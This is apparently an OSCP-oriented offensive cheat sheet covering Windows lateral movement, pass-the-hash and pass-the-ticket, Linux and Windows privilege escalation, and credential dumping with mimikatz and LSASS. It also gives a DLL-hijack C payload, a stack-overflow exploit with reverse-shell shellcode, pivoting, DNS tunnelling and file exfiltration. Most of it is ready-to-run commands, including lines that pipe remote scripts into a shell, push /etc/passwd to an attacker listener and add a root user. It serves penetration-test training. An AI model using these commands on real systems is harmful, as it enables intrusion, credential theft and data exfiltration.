impacket-wmiexec domain.tld/USER:PASS@$IP # semi-interactive, no binary droppedimpacket-wmiexec -hashes :NTHASH domain.tld/USER@$IPevil-winrm -i $IP -u USER -p PASS # WinRM shellevil-winrm -i $IP -u USER -H NTHASH# native PowerShell remoting from a Windows foothold:Enter-PSSession -ComputerName target -Credential (Get-Credential)Invoke-Command -ComputerName target -ScriptBlock { whoami } -Credential $cred# native LOLBIN equivalents (no impacket):winrs -r:files04 -u:jen -p:Nexus123! "cmd /c hostname & whoami" # WinRM, port 5985wmic /node:$IP /user:jen /password:Nexus123! process call create "cmd /c calc" # WMI, port 135PsExec (impacket)
Classic SYSTEM shell: uploads a service binary and runs it as SYSTEM. Reliable but noisy (drops a service, writes an event log).
impacket-psexec domain.tld/USER:PASS@$IP # → SYSTEMimpacket-psexec -hashes :NTHASH domain.tld/USER@$IPimpacket-smbexec domain.tld/USER:PASS@$IP # semi-interactive, stealthier variant# Sysinternals PsExec from a Windows host:PsExec.exe \\target -u corp\USER -p PASS cmdPass-the-Hash (PtH)
You don't need the plaintext — the NT hash authenticates over NTLM directly. Use it anywhere a tool takes -H / -hashes. First spray the hash to find where it's admin.
nxc smb <range> -u USER -H NTHASH # spray a hash — look for (Pwn3d!)nxc smb $IP -u USER -H NTHASH -x 'whoami'evil-winrm -i $IP -u USER -H NTHASHimpacket-psexec -hashes :NTHASH domain.tld/USER@$IPimpacket-wmiexec -hashes :NTHASH domain.tld/USER@$IP# mimikatz (Windows): sekurlsa::pth /user:USER /domain:corp /ntlm:<NT> /run:cmdOver-Pass-the-Hash (Pass-the-Key)
Turn an NT hash (or AES key) into a full Kerberos TGT, then act via Kerberos — cleaner than NTLM PtH and works where NTLM is disabled. AES keys are stealthier than RC4/NT.
impacket-getTGT domain.tld/USER -hashes :NTHASH -dc-ip $IP # NT hash → TGTimpacket-getTGT domain.tld/USER -aesKey <AES256> -dc-ip $IP # AES key → TGT (stealthier)export KRB5CCNAME=USER.ccacheimpacket-psexec -k -no-pass domain.tld/USER@target.domain.tld# mimikatz: sekurlsa::pth /user:USER /domain:corp /aes256:<KEY> /run:cmdDCOM
Distributed COM objects expose methods that execute commands — a lateral path that avoids PsExec's service. Needs local admin on the target and DCOM reachable (135 + dynamic RPC).
impacket-dcomexec domain.tld/USER:PASS@$IP # MMC20.Application by defaultimpacket-dcomexec -object MMC20 -hashes :NTHASH domain.tld/USER@$IP# from Windows PowerShell (MMC20.Application):$c=[activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application','target'))$c.Document.ActiveView.ExecuteShellCommand('cmd',$null,'/c calc.exe','7')Pass-the-Ticket (reuse a ticket in memory)
Different from over-pass-the-hash: here you steal an existing Kerberos ticket (TGT or TGS) out of memory on a box you own and inject it into your session — no hash or password needed. Great when a privileged user has a live session on your foothold.
# ---- Windows (mimikatz) ----privilege::debug ; sekurlsa::tickets /export # dumps .kirbi files to diskkerberos::ptt [0;12bd0]-2-0-40810000-dave@cifs-web04.kirbi # inject a TGS.\Rubeus.exe ptt /ticket:ticket.kirbiklist # confirm the ticket is loaded# ---- Linux (Kali) ----export KRB5CCNAME=stolen.ccache ; impacket-psexec -k -no-pass domain.tld/USER@target.domain.tldActive Directory persistence tactics
Mostly awareness for OSCP — grading is snapshot-based on flags, so you rarely need persistence — but know these for labs and the report's recommendations.
Read the scanner like a map
linPEAS — Running & Parsing
linpeas.sh runs hundreds of Linux privesc checks in one shot. The trap is drowning in output — so learn its colour code and jump straight to the leads. This section is the map; the actual exploitation of each lead is in the next section (Privilege Escalation — Linux).
How to run it
# get it over (see File Transfer), then:chmod +x linpeas.sh; ./linpeas.sh -a | tee linpeas.txt # -a = all checks (thorough)less -R linpeas.txt # reread WITH colours# no disk write / stealth: run straight from memorycurl http://$LHOST/linpeas.sh | sh./linpeas.sh -e # extra/heavier checks · -s = stealth/quieterReading it section by section — what each block is telling you
System Information / Kernelexact kernel + OS → linux-exploit-suggester / searchsploit (PwnKit, DirtyPipe, Baron Samedit). Kernel exploits last — they panic boxes.Sudo (sudo -l) / SUID / SGIDevery highlighted entry → look it up on GTFOBins. A NOPASSWD binary or a red SUID is often the whole box.Capabilitiescap_setuid / cap_dac_read_search on a binary → GTFOBins 'Capabilities' section → instant root.Cron jobsa job running as root that calls a script you can write, a relative binary, or a tar/* wildcard → hijack it. Pair with pspy to catch hidden ones.Writable files / folders/etc/passwd or /etc/shadow writable, a writable sudoers.d, a writable systemd/service unit, or a writable script a root job runs.Interesting files / 'Found *pass*'linPEAS greps configs for you — chase .env, config.php, wp-config.php, id_rsa, *.kdbx, .bash_history, .mysql_history, /var/backups.Network / internal ports127.0.0.1-only services (a DB, an admin panel) → port-forward and attack; also hints at pivots.Groupsmember of docker / lxd / disk / adm / shadow → each is a known root path (mount the host, read shadow, spawn a privileged container).NFS exportsan export with no_root_squash → mount it, drop a root-SUID binary from your box.Software versions / processes as roota service running as root with a known CVE, or a version searchsploit flags.Root the Linux box
Privilege Escalation — Linux
Privesc is a search problem: enumerate broadly, then walk each vector in turn. Run the automated scanners, but read the output — they surface leads, you do the exploiting.
./linpeas.sh -a | tee linpeas.txt # -a = all checks (the thorough profile)./lse.sh -l1 # linux-smart-enumeration (levels 0-2)./unix-privesc-check standard # classic checklist in one pass (see note)./linux-exploit-suggester.sh # maps `uname -a` to candidate kernel exploitspspy64 # watch cron & root processes live, no root neededQuick wins — what to check, and what you do when you find it
sudo -l # read what you can runsudo -V # version → Baron Samedit (CVE-2021-3156, <1.9.5p2)sudoedit -s '\' $(python3 -c 'print("A"*1000)') # quick Baron Samedit vuln test# env_keep+=LD_PRELOAD or LD_LIBRARY_PATH in sudo -l → load a malicious .sosudo LD_PRELOAD=/tmp/x.so someprog # x.so runs setuid(0);system("/bin/bash")# any GTFOBins entry runnable via sudo → shell/read/write as rootfind / -perm -4000 -type f 2>/dev/null # then check each against GTFOBinsstrings /path/suidbin ; ltrace ./suidbin # calls a binary by relative name? hijack PATH:echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /tmp/servicechmod +x /tmp/service; export PATH=/tmp:$PATH; /path/suidbin # then /tmp/rootbash -p# capability shellsgetcap -r / 2>/dev/null/usr/bin/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")' # if python has cap_setuidcat /etc/crontab; ls -la /etc/cron.d /etc/cron.*; pspy64# writable script run by root → append your payload# wildcard injection: root cron runs `tar -cf backup.tar *` in a writable dir →echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' > shell.shtouch './--checkpoint=1'; touch './--checkpoint-action=exec=sh shell.sh'# writable systemd unit / timer → set ExecStart to your payload, then it runs as rootwatch -n 1 "ps -aux | grep -i pass" # poll the process list for passwords in argvsudo tcpdump -i lo -A | grep -i pass # sniff loopback traffic for plaintext credsgrep -i CRON /var/log/syslog # what cron actually ran (and when)# pspy64 is the better version of the first two — it sees every exec + its argumentsSystem daemon & service review
A daemon running as root that you can influence is a direct win. List the running services, find the ones owned by root, and check whether their unit file, their ExecStart binary, or their config is writable by you.
systemctl list-units --type=service --state=runningps -ef --forest ; ps aux | awk '$1=="root"' # what runs as root, and its argssystemctl cat <svc> # see the ExecStart pathls -la /etc/systemd/system /lib/systemd/systemfind /etc/systemd /lib/systemd -writable 2>/dev/null # writable unit → edit ExecStartfind / -perm -4000 -o -perm -2000 2>/dev/null | xargs -r ls -la # SUID/SGID daemons/helpersbusctl list ; ls -la /etc/dbus-1/system.d # D-Bus / polkit privileged methodsInsecure file permissions
A misconfigured permission on a sensitive file is the cleanest privesc there is. The headline case: a writable /etc/passwd lets you add your own root user outright.
ls -la /etc/passwd /etc/shadow /etc/sudoers /etc/sudoers.d# /etc/passwd writable? add a root-equivalent user:openssl passwd -1 -salt x Pass123 # → prints $1$x$<hash>echo 'hacker:$1$x$<hash>:0:0:root:/root:/bin/bash' >> /etc/passwdsu hacker # password Pass123 → uid 0# /etc/shadow readable → crack root's hash; /etc/sudoers.d writable → drop a NOPASSWD rule# find EVERY root-owned thing you can write:find / -writable -not -path '/proc/*' 2>/dev/null | grep -vE '^/(sys|dev|run|tmp)'find / -perm -0002 -type f -not -path '/proc/*' 2>/dev/null # world-writable files# broad grep across the usual homes for secretsgrep -rniE 'password|passwd|pwd|secret|api[_-]?key|token' /var/www /etc /opt /home /srv 2>/dev/null | grep -av Binary# config files that routinely hold DB / app credsfind / \( -name '*.conf' -o -name '*.config' -o -name '*.ini' -o -name '.env' -o -name 'config.php' -o -name 'wp-config.php' -o -name 'settings.py' -o -name 'database.yml' \) 2>/dev/null# keys, vaults, backups, DB/shell historiesfind / \( -name 'id_rsa' -o -name '*.pem' -o -name '*.kdbx' -o -name '*.bak' -o -name '*.old' \) 2>/dev/nullcat ~/.bash_history /home/*/.bash_history /root/.bash_history ~/.*_history 2>/dev/null ; history ; envcat /etc/fstab ; mount # mounted shares often carry creds# reuse EVERYTHING: su to other users, ssh with found keys, then re-run sudo -l~/.bash_historytyped passwords and commands~/.ssh/id_rsaprivate keys — reuse across hosts/var/www/app source → DB creds in config.php, wp-config.php, .env/etc/passwd · /etc/shadowusers; crackable hashes if shadow is readable/etc/crontab · /etc/cron.d/scheduled jobs and the scripts they call/opt/ · /srv/custom apps and admin scripts/var/backups/stored copies, sometimes a readable shadow/tmp/ · /dev/shm/world-writable staging areas/etc/fstabmounts, occasionally embedded creds/var/mail/local mail with secrets~/.config/ · ~/.aws/ · ~/.docker/cloud / app tokens and saved credentials*.conf · *.ini · .env · config.phpDB / app connection strings and API keys~/.mysql_history · ~/.psql_historyDB passwords typed on the command line/etc/apache2 · /etc/nginxdocroots, vhosts, sometimes .htpasswd basic-auth creds/etc/sudoers · /etc/sudoers.d/who can run what as rootenv · historyrun env and history the moment you landRead the scanner like a map
winPEAS — Running & Parsing
winPEAS is the Windows twin of linPEAS — it dumps token privileges, services, DLL-hijack candidates, unquoted paths, autoruns and stored credentials. Same discipline: learn the colour code, chase the highlights, verify by hand. Exploitation of each lead is in the next section (Privilege Escalation — Windows).
How to run it
.\winPEASx64.exe > winpeas.txt # full scan, log to file (match arch: x64/x86).\winPEASany.exe quiet cmd fast # .NET-agnostic build; 'fast' skips slow checkswinPEAS.bat # no .NET / AV-flagged the exe → batch fallback.\winPEASx64.exe systeminfo userinfo # run ONE category when you know what you wantReading it section by section — what each block is telling you
System InformationOS build + installed hotfixes → wesng / searchsploit. Few patches = a kernel/priv exploit may work.Token privileges (whoami /priv)SeImpersonate / SeAssignPrimaryToken → PrintSpoofer/GodPotato → SYSTEM; SeBackup/SeRestore/SeTakeOwnership → file abuse. THE first thing to check.Users / Groupsmembership in Backup Operators, DnsAdmins, Server Operators, or local Administrators at medium integrity (UAC bypass) — each is a known path.Services — Unquoted Service Pathsa service path with spaces and no quotes (C:\Program Files\A B\svc.exe) AND a writable gap dir → drop C:\Program.exe → SYSTEM on restart.Services — modifiable service / binaryyou can sc config the binPath or overwrite the service exe (accesschk) → replace with your payload → restart → SYSTEM.DLL Hijacking / writable %PATH%a service/app that loads a DLL from a folder you can write, or a writable dir on the system PATH → plant a malicious DLL.AlwaysInstallElevatedboth HKLM+HKCU keys = 1 → msfvenom .msi → msiexec /quiet /i evil.msi → SYSTEM.Autoruns / Scheduled Tasksa startup entry or task whose binary/script you can overwrite → runs as the owner (often SYSTEM/admin).Credentialscmdkey/saved creds, Unattend.xml, web.config / applicationHost.config, PowerShell history, saved RDP (.rdg)/PuTTY, WinLogon autologon, DPAPI, browser stores.RegistryAutoLogon DefaultPassword, reg keys containing 'password', PuTTY sessions.Network / AV / UAClistening-only ports to pivot, plus whether Defender/AppLocker/UAC will fight your payload.SYSTEM on the Windows box
Privilege Escalation — Windows
Same idea as Linux: enumerate widely, then walk each vector. Start with your own token, then let the scanners map services, DLLs, scheduled tasks and stored credentials.
whoami /priv # the single most important commandwhoami /groups ; whoami /allsysteminfo # feed to windows-exploit-suggester-ng / wesng.\winPEASx64.exe > peas.txt # full sweep (use the x86 build in a 32-bit process).\winPEASany.exe quiet cmd fast # smaller/faster; 'quiet' drops the bannerspowershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended".\Seatbelt.exe -group=all ; .\SharpUp.exe auditToken privileges — how to abuse each
whoami /priv lists your privileges. Many show as Disabled, but the tools below enable them at runtime — so try regardless. Match the privilege to its escalation:
SeImpersonatePrivilegePotato attack → SYSTEM: PrintSpoofer / GodPotato / JuicyPotatoNG / RoguePotatoSeAssignPrimaryTokenPrivilegeSame as SeImpersonate — the potato tools abuse either one → SYSTEMSeBackupPrivilegeRead ANY file (ignores the DACL): dump SAM+SYSTEM → secretsdump; read flags/keysSeRestorePrivilegeWrite ANY file/registry key: overwrite a service binary or Utilman.exe/sethc.exeSeTakeOwnershipPrivilegetakeown any file → grant yourself Full → replace a binary that runs as SYSTEMSeManageVolumePrivilegeFull control of C:\ → plant a DLL a privileged service loads → SYSTEMSeLoadDriverPrivilegeLoad a known-vulnerable driver (Capcom.sys) → kernel exec → SYSTEMSeDebugPrivilegeDump LSASS (procdump/mimikatz) or inject into a SYSTEM processSeTcbPrivilegeAct as the OS — craft a token with the SYSTEM group and impersonate itSeCreateTokenPrivilegeBuild an arbitrary token (add the SYSTEM / Domain Admins SID)SeSecurityPrivilegeRead / clear the Security event log (read audited data, cover tracks)SeMachineAccountPrivilegeAdd a computer account → RBCD in Active Directory (§15)# SeImpersonate / SeAssignPrimaryToken → SYSTEM (potato attacks).\PrintSpoofer64.exe -i -c cmd.\GodPotato-NET4.exe -cmd "cmd /c whoami".\JuicyPotatoNG.exe -t * -p cmd.exe -a "/c whoami".\SigmaPotato.exe "net localgroup administrators pwn /add" # or --revshell $LHOST 4444# SeBackupPrivilege → read protected files, dump hashesreg save HKLM\SAM sam & reg save HKLM\SYSTEM system # or diskshadow + robocopy /b for locked filesimpacket-secretsdump -sam sam -system system LOCAL # parse on Kali# SeRestore / SeTakeOwnership → own then overwrite a SYSTEM binarytakeown /f C:\Windows\System32\Utilman.exe ; icacls C:\Windows\System32\Utilman.exe /grant <me>:Fcopy /y C:\Windows\System32\cmd.exe C:\Windows\System32\Utilman.exe # trigger via lock-screen Ease-of-Access# SeManageVolume → full control of C:\ then DLL hijack.\SeManageVolumeExploit.exe # grants Users write on C:\, then plant a DLL# SeLoadDriver → load a vulnerable driver, then exploit it.\EoPLoadDriver.exe System\CurrentControlSet\MyDrv C:\Temp\Capcom.sys# SeDebug → dump LSASS for credsprocdump.exe -accepteula -ma lsass.exe lsass.dmp ; pypykatz lsa minidump lsass.dmpService, DLL & registry issues
Binary / service hijacking (walkthrough)
Windows services run as SYSTEM, so if you can change what a service executes — its registered path, its on-disk binary, or an unquoted-path gap — you get a SYSTEM shell when it (re)starts. Three flavours:
# find services whose config YOU can change (SERVICE_CHANGE_CONFIG / WRITE_DAC).\accesschk.exe /accepteula -uwcqv <user> *.\accesschk.exe /accepteula -uwcqv "Authenticated Users" * # or a group you're insc qc <svc> # inspect the current configsc config <svc> binPath= "C:\Windows\Temp\rev.exe" obj= LocalSystemnet stop <svc> & net start <svc> # restart to trigger (or reboot)# no stop rights? make it add you to admins instead of catching a shell:sc config <svc> binPath= "cmd /c net localgroup administrators user /add"# 1) weak file perms on the service EXE → overwrite it, then restart the serviceaccesschk.exe /accepteula -quvw "C:\Path\service.exe"copy /y rev.exe "C:\Path\service.exe"# 2) UNQUOTED path with spaces, e.g. C:\Program Files\Some Dir\svc.exewmic service get name,pathname,startmode | findstr /i /v "c:\windows\\" | findstr /i /v "\""# Windows tries C:\Program.exe then C:\Program Files\Some.exe … drop your exe in a writable gap:copy rev.exe "C:\Program Files\Some.exe" # only if that directory is writableDLL hijacking (walkthrough)
A service or app that loads a DLL by name and searches a directory you can write to before the legitimate one will load your DLL instead — and run your code in that process's context (often SYSTEM). Find the missing / writable DLL, build one, drop it in place.
# Procmon (GUI): filter Result = 'NAME NOT FOUND' and Path ends with '.dll' → a DLL it fails to find# or list a binary's imports and check which dir on its search order is writable:.\listdlls.exe <proc> ; icacls "C:\Path\On\SearchOrder"# build a malicious DLL that runs from DllMainmsfvenom -p windows/x64/exec CMD='net localgroup administrators user /add' -f dll -o hijack.dllx86_64-w64-mingw32-gcc -shared -o hijack.dll evil.c # or hand-rolled (code below)copy hijack.dll "C:\Path\On\SearchOrder\MISSING.dll" # name it exactly what it searches for# trigger: restart the service or reopen the app#include <windows.h>BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved) { if (reason == DLL_PROCESS_ATTACH) { system("cmd.exe /c net localgroup administrators pwn /add"); // or a reverse shell: system("cmd /c powershell -e <BASE64>"); } return TRUE;}// build on Kali: x86_64-w64-mingw32-gcc -shared -o hijack.dll evil.c// 32-bit: i686-w64-mingw32-gcc -shared -o hijack.dll evil.cPowerUp.ps1 — automate the whole hunt
PowerUp finds and exploits most of the above (weak service perms, unquoted paths, DLL hijacks, AlwaysInstallElevated, autoruns) from PowerShell — no compiling needed.
powershell -ep bypass. .\PowerUp.ps1Invoke-AllChecks | Tee-Object powerup.txt # run every check, save the output# service abuseGet-ModifiableService # services you can reconfigureInvoke-ServiceAbuse -Name 'VulnSvc' -UserName 'domain\me' # adds you to local adminsInvoke-ServiceAbuse -Name 'VulnSvc' -Command 'C:\Temp\rev.exe'# unquoted paths & DLL hijacksGet-UnquotedService ; Find-ProcessDLLHijack ; Find-PathDLLHijackWrite-HijackDll -DllPath 'C:\Path\wlbsctrl.dll' # writes a payload DLL for a found hijack# other quick winsGet-RegistryAlwaysInstallElevated ; Write-UserAddMSI # → msiexec /quiet /i UserAdd.msiGet-UnattendedInstallFile ; Get-RegistryAutoLogonPowerShell history & transcripts
Admins paste passwords into PowerShell constantly, and PSReadline writes every line to a file on disk — one of the highest-yield, most-overlooked reads on a Windows box.
Get-History # current session only(Get-PSReadlineOption).HistorySavePath # path to the on-disk history filetype $env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt# every user's history you can read:gc C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt -Force# transcripts / script-block logs if enableddir C:\Users\*\Documents\*transcript* 2>nulDump SAM & SYSTEM (local hashes for reuse / PtH)
Once you're local admin / SYSTEM (or hold SeBackupPrivilege), dump the local account hashes: they crack easily and the local Administrator hash is reused across machines all the time. The hashes are in the SAM hive, keyed by the SYSTEM hive — grab both and extract them offline.
# on the target (admin shell):reg save HKLM\SAM C:\Temp\sam & reg save HKLM\SYSTEM C:\Temp\systemreg save HKLM\SECURITY C:\Temp\security # optional: LSA secrets / cached domain creds# SeBackup but not admin? bypass the DACL on the locked files:robocopy /b C:\Windows\System32\config C:\Temp SAM SYSTEM# copy them to Kali, then extract the NT hashes:impacket-secretsdump -sam sam -system system -security security LOCAL# Administrator:500:aad3b435...:<NTLM>::: → reuse the NT hash directly:nxc smb <range> -u administrator -H <NTLM> # spray it — look for (Pwn3d!)evil-winrm -i $IP -u administrator -H <NTLM> # or crack it: hashcat -m 1000# fully remote (needs admin creds/hash — see 09 · Password Cracking):impacket-secretsdump domain.tld/USER:PASS@$IP ; nxc smb $IP -u USER -p PASS --sam --lsaCredential hunting & getting SYSTEM
reg query HKLM /f password /t REG_SZ /s ; reg query HKCU /f password /t REG_SZ /sreg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" # autologonreg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # PuTTY / WinSCPcmdkey /list # saved creds → runas /savecred /user:X cmddir /s /b C:\*pass*.txt C:\*.config C:\*.kdbx 2>nulfindstr /si password *.xml *.ini *.txt *.config *.php# recursive PowerShell sweep across the driveGet-ChildItem C:\ -Recurse -Include *.xml,*.ini,*.txt,*.config,*.ps1 -ErrorAction SilentlyContinue | Select-String -Pattern 'password|passwd|pwd|secret' 2>$nulltype C:\Windows\Panther\Unattend.xml # base64 autologon credstype C:\Windows\System32\inetsrv\config\applicationHost.config # IIS app-pool credslazagne.exe all # browser/wifi/app/RDP creds in one shot# runtime creds.\mimikatz.exe "sekurlsa::logonpasswords" exit # (or procdump lsass + pypykatz offline)# medium → high (UAC bypass) when you're a local admin in a limited token:# fodhelper / RunAs — then a full-privilege shell# instead of dumping existing hashes, register a malicious Security Support Provider:.\mimikatz.exeprivilege::debugmisc::memssp # patches LSASS to log every logon in cleartext# then wait for a user/admin to log in and read:type C:\Windows\System32\mimilsa.log # username + PLAINTEXT passwordC:\Users\*\Desktop · Documents · Downloadsuser files and local.txtC:\Users\*\AppData\Roaming · Localapp data, session tokens, saved creds*.kdbxKeePass databases — crack with keepass2johnC:\Windows\Panther\Unattend.xmlautologon creds (base64), also sysprep.infC:\inetpub\wwwroot\web.configapp and DB connection stringsC:\xampp\ · C:\wamp\stack configs with plaintext passwordsSAM + SYSTEMunder System32\config — needs SeBackup or a shadow copycmdkey /listsaved creds → runas /savecredreg query HKLM /f password /t REG_SZ /sbulk registry secret huntWinlogon registry keyDefaultUserName / DefaultPassword autologonfindstr /si password *.txt *.ini *.configsweep the filesystem for secretsPSReadline\ConsoleHost_history.txtevery command an admin typed — top readSystem32\inetsrv\config\applicationHost.configIIS application-pool credentialsHKCU\...\Terminal Server Client\Serverssaved RDP hosts (pair with cmdkey creds)C:\Users\*\AppData — *.rdg, *.kdbx, .git\configRDCMan RDP creds, vaults, repo secrets(Get-PSReadlineOption).HistorySavePaththe exact PowerShell history pathBuild the PoC so it runs
Compiling Exploits
Public PoCs ship as source. Read the header first — it usually names the target OS/arch and the exact compile line. Build on Kali, match the target's architecture, and statically link when the target is missing libraries.
searchsploit -m 40839 # mirror it into cwdhead -40 40839.c # authors put the gcc line + target version in commentsfile ./target_binary # confirm 32- vs 64-bit if compiling a matching payloadgcc -o exploit exploit.c # standardgcc -o exploit exploit.c -static # target missing shared libs → static linkgcc -m32 -o exploit exploit.c # 32-bit target (needs gcc-multilib)gcc -pthread -o exploit exploit.c -lcrypto # some PoCs need extra flags/libssudo apt install gcc-multilib # if -m32 errors on missing headersi686-w64-mingw32-gcc exploit.c -o exploit.exe # 32-bit EXEx86_64-w64-mingw32-gcc exploit.c -o exploit.exe # 64-bit EXEi686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32 # needs Winsockx86_64-w64-mingw32-gcc -shared -o evil.dll evil.c # build a hijack DLLdos2unix exploit.c # CRLF / line-ending errors# retype smart-quotes the browser mangled (“ ” ‘ ’ → " ')# 'GLIBC_2.xx not found' on target → recompile with -static, or build on a matching-distro VM# wrong arch ('cannot execute binary file') → rebuild with -m32 or the 64-bit toolchain# Windows kernel PoCs: grab a precompiled build (SecWiki windows-kernel-exploits) to save timemsfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f c -b '\x00\x0a\x0d' -e x86/shikata_ga_naimsfvenom -p linux/x86/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f py -b '\x00'# find bad chars by comparing sent vs in-memory bytes; -f exe|elf|dll|python|c as neededClassic Windows stack overflow
Buffer Overflow — 32-bit Stack
The classic vulnserver / SLMail workflow: fuzz → find the offset → control EIP → find bad chars → find a JMP ESP → drop shellcode. Done with Immunity Debugger + mona.py against a 32-bit service.
1 · Fuzz — find the crashing length
#!/usr/bin/env python3import socket, sysbuf = b"A" * 100while True: try: s = socket.socket(); s.connect(("<ip>", 9999)) s.send(b"TRUN /.:/" + buf + b"\r\n"); s.close() print("sent", len(buf)); buf += b"A" * 100 except: print("crashed at", len(buf)); sys.exit()2 · Offset — where in the buffer is EIP
msf-pattern_create -l 3000 # paste as the buffer, crash the service# read the EIP value in the debugger, then:msf-pattern_offset -l 3000 -q 386F4337 # → offset, e.g. 20033 · Confirm EIP control
offset = 2003payload = b"A"*offset + b"B"*4 + b"C"*400# EIP should now read 42424242, and ESP should point at your C's4 · Bad characters
badchars = bytes(range(1,256)) # 0x01..0xff (0x00 already excluded)payload = b"A"*offset + b"B"*4 + badchars# in mona:!mona bytearray -b "\x00"!mona compare -f c:\mona\bytearray.bin -a <ESP-address># remove each flagged byte from BOTH the array and your payload, repeat until 'unmodified'5 · Find a JMP ESP
!mona jmp -r esp -cpb "\x00\x0a\x0d"# pick an address in a module WITHOUT ASLR/DEP, e.g. 625011AF# write it little-endian in the payload: \xaf\x11\x50\x626 · Shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=443 \
-f py -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -v shellcodepayload = b"A"*offset + b"\xaf\x11\x50\x62" + b"\x90"*16 + shellcode# start the listener first: nc -lvnp 443Reach the internal network
Tunnelling & Pivoting
Own a box with a second NIC and you pivot to hosts you can't route to directly. ligolo-ng is the modern first choice; chisel and SSH forwarding are the reliable fallbacks. Identify a pivot first: ip a / ipconfig, route, and arp -a reveal the internal subnet.
ligolo-ng (preferred — a real routed interface)
sudo ligolo-proxy -selfcert # (or ./proxy -selfcert) — listens on 0.0.0.0:11601# accept the self-signed cert prompt; the ligolo-ng » console opens# transfer the matching agent to the target, then run it there:./agent -connect $LHOST:11601 -ignore-cert # Linux target.\agent.exe -connect $LHOST:11601 -ignore-cert # Windows target# proxy console prints: Agent joined. name="HOST\user@HOST"ligolo-ng » session # pick the agent that just joined[Agent] » interface_create --name ligolo # makes the tun interface for you (no manual ip tuntap)[Agent] » start # starts the tunnel to that agent[Agent] » route_add --name ligolo --route 10.10.20.0/24 # the host's internal subnet# every Kali tool now reaches 10.10.20.0/24 directly — no proxychains:nxc winrm 10.10.20.0/24 -u users.txt -p pass.txt --continue-on-success --local-authevil-winrm -i 10.10.20.5 -u administrator -H <NTLM>chisel (SOCKS proxy fallback)
# Kali (server):./chisel server -p 8000 --reverse# Target (connects back, opens a SOCKS proxy on Kali:1080):./chisel client $LHOST:8000 R:socks# then route tools through it:proxychains -q nxc smb 10.10.20.0/24# expose the target-side host 10.10.20.5:3306 on your Kali:3306./chisel client $LHOST:8000 R:3306:10.10.20.5:3306SSH forwarding & sshuttle (when you have SSH creds)
sshuttle -r user@$IP 10.10.20.0/24 # transparent VPN-like — easiestssh -L 8080:10.10.20.5:80 user@$IP # local: Kali:8080 → internal:80ssh -R 3306:127.0.0.1:3306 user@$LHOST # remote: push a target port back to Kalissh -D 1080 user@$IP # dynamic SOCKS → proxychainsssh -R 9998 user@$LHOST # remote DYNAMIC SOCKS back to Kali# on the pivot: forward its :2345 to an internal host:portsocat TCP-LISTEN:2345,fork TCP:10.10.20.5:5432# then hit the pivot's 2345 from Kali as if it were the internal service# plink (PuTTY CLI) on the Windows pivot → remote-forward its RDP back to Kaliplink.exe -ssh -l kali -pw <PASS> -R 127.0.0.1:9833:127.0.0.1:3389 $LHOST# Kali plink lives at /usr/share/windows-resources/binaries/plink.exe# netsh portproxy: forward the pivot's :2222 to an internal host (admin needed)netsh interface portproxy add v4tov4 listenport=2222 listenaddress=0.0.0.0 connectport=22 connectaddress=10.10.20.5netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=2222netsh interface portproxy del v4tov4 listenport=2222 listenaddress=0.0.0.0 # clean up# tail of the file — one line:socks5 127.0.0.1 1080# keep strict_chain + proxy_dns; then prefix commands:proxychains4 -q nmap -sT -Pn -p 445,3389,5985 10.10.20.5DNS tunnelling (when only DNS gets out)
If every TCP/UDP egress port is filtered but the host can still resolve names, you can smuggle a shell or a tunnel inside DNS queries to a domain whose authoritative server you control. Slow, but it defeats strict egress filtering.
# Kali (authoritative for the delegated zone t.example.com):dnscat2-server t.example.com# Target:./dnscat2 t.example.com # direct mode./dnscat2 --dns server=<dns-ip>,domain=t.example.com # via the target's resolver# in the server console: 'windows', 'window -i 1', then run commands / port-forward# Kali (server): give the tun a private range, set the delegated domainsudo iodined -f -c -P s3cret 10.9.0.1 t.example.com# Target (client):iodine -f -P s3cret t.example.com# now route the internal subnet over the tun0 iodine gives you, like any VPNMove tools & loot
File Transfer Cheat-Sheet
Serve files from Kali, pull from the target — or push loot back. Prefer ports 80/443/445, which are usually allowed outbound even when egress is filtered.
python3 -m http.server 80 # HTTPpython3 -m uploadserver 443 # HTTP with upload endpointimpacket-smbserver share $(pwd) -smb2support # SMB shareimpacket-smbserver share $(pwd) -smb2support -username u -password p # auth'd (Win10+ needs this)nc -lvnp 443 > incoming.file # raw catchwget http://$LHOST/linpeas.sh -O /tmp/linpeas.shcurl http://$LHOST/linpeas.sh -o /tmp/linpeas.sh# no wget/curl? bash builtin over /dev/tcp:exec 3<>/dev/tcp/$LHOST/80; echo -e "GET /f\r\n" >&3; cat <&3 > fscp file user@$IP:/tmp/ # if you have SSH credschmod +x /tmp/f # binaries land non-executable# PowerShell — most reliableiwr -Uri http://LHOST/nc.exe -OutFile C:\Windows\Temp\nc.exepowershell -c "(New-Object Net.WebClient).DownloadFile('http://LHOST/f.exe','C:\Windows\Temp\f.exe')"# certutil LOLBIN (often AV-flagged)certutil -urlcache -split -f http://LHOST/f.exe C:\Windows\Temp\f.exe# from your SMB sharecopy \\LHOST\share\f.exe C:\Windows\Temp\f.exe# evil-winrm built-in: upload /local/f.exe C:\Windows\Temp\f.execopy C:\loot.txt \\LHOST\share\ # via writable SMB sharepowershell -c "(New-Object Net.WebClient).UploadFile('http://LHOST/upload','C:\loot.txt')"[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\loot.txt")) # small files, decode on Kalibase64 -w0 /etc/passwd # copy output; on Kali: echo '<b64>' | base64 -dnc -lvnp 443 > out.file # on Kalinc $LHOST 443 < /etc/passwd # on targetDownload the arsenal
Tooling & Where to Get It
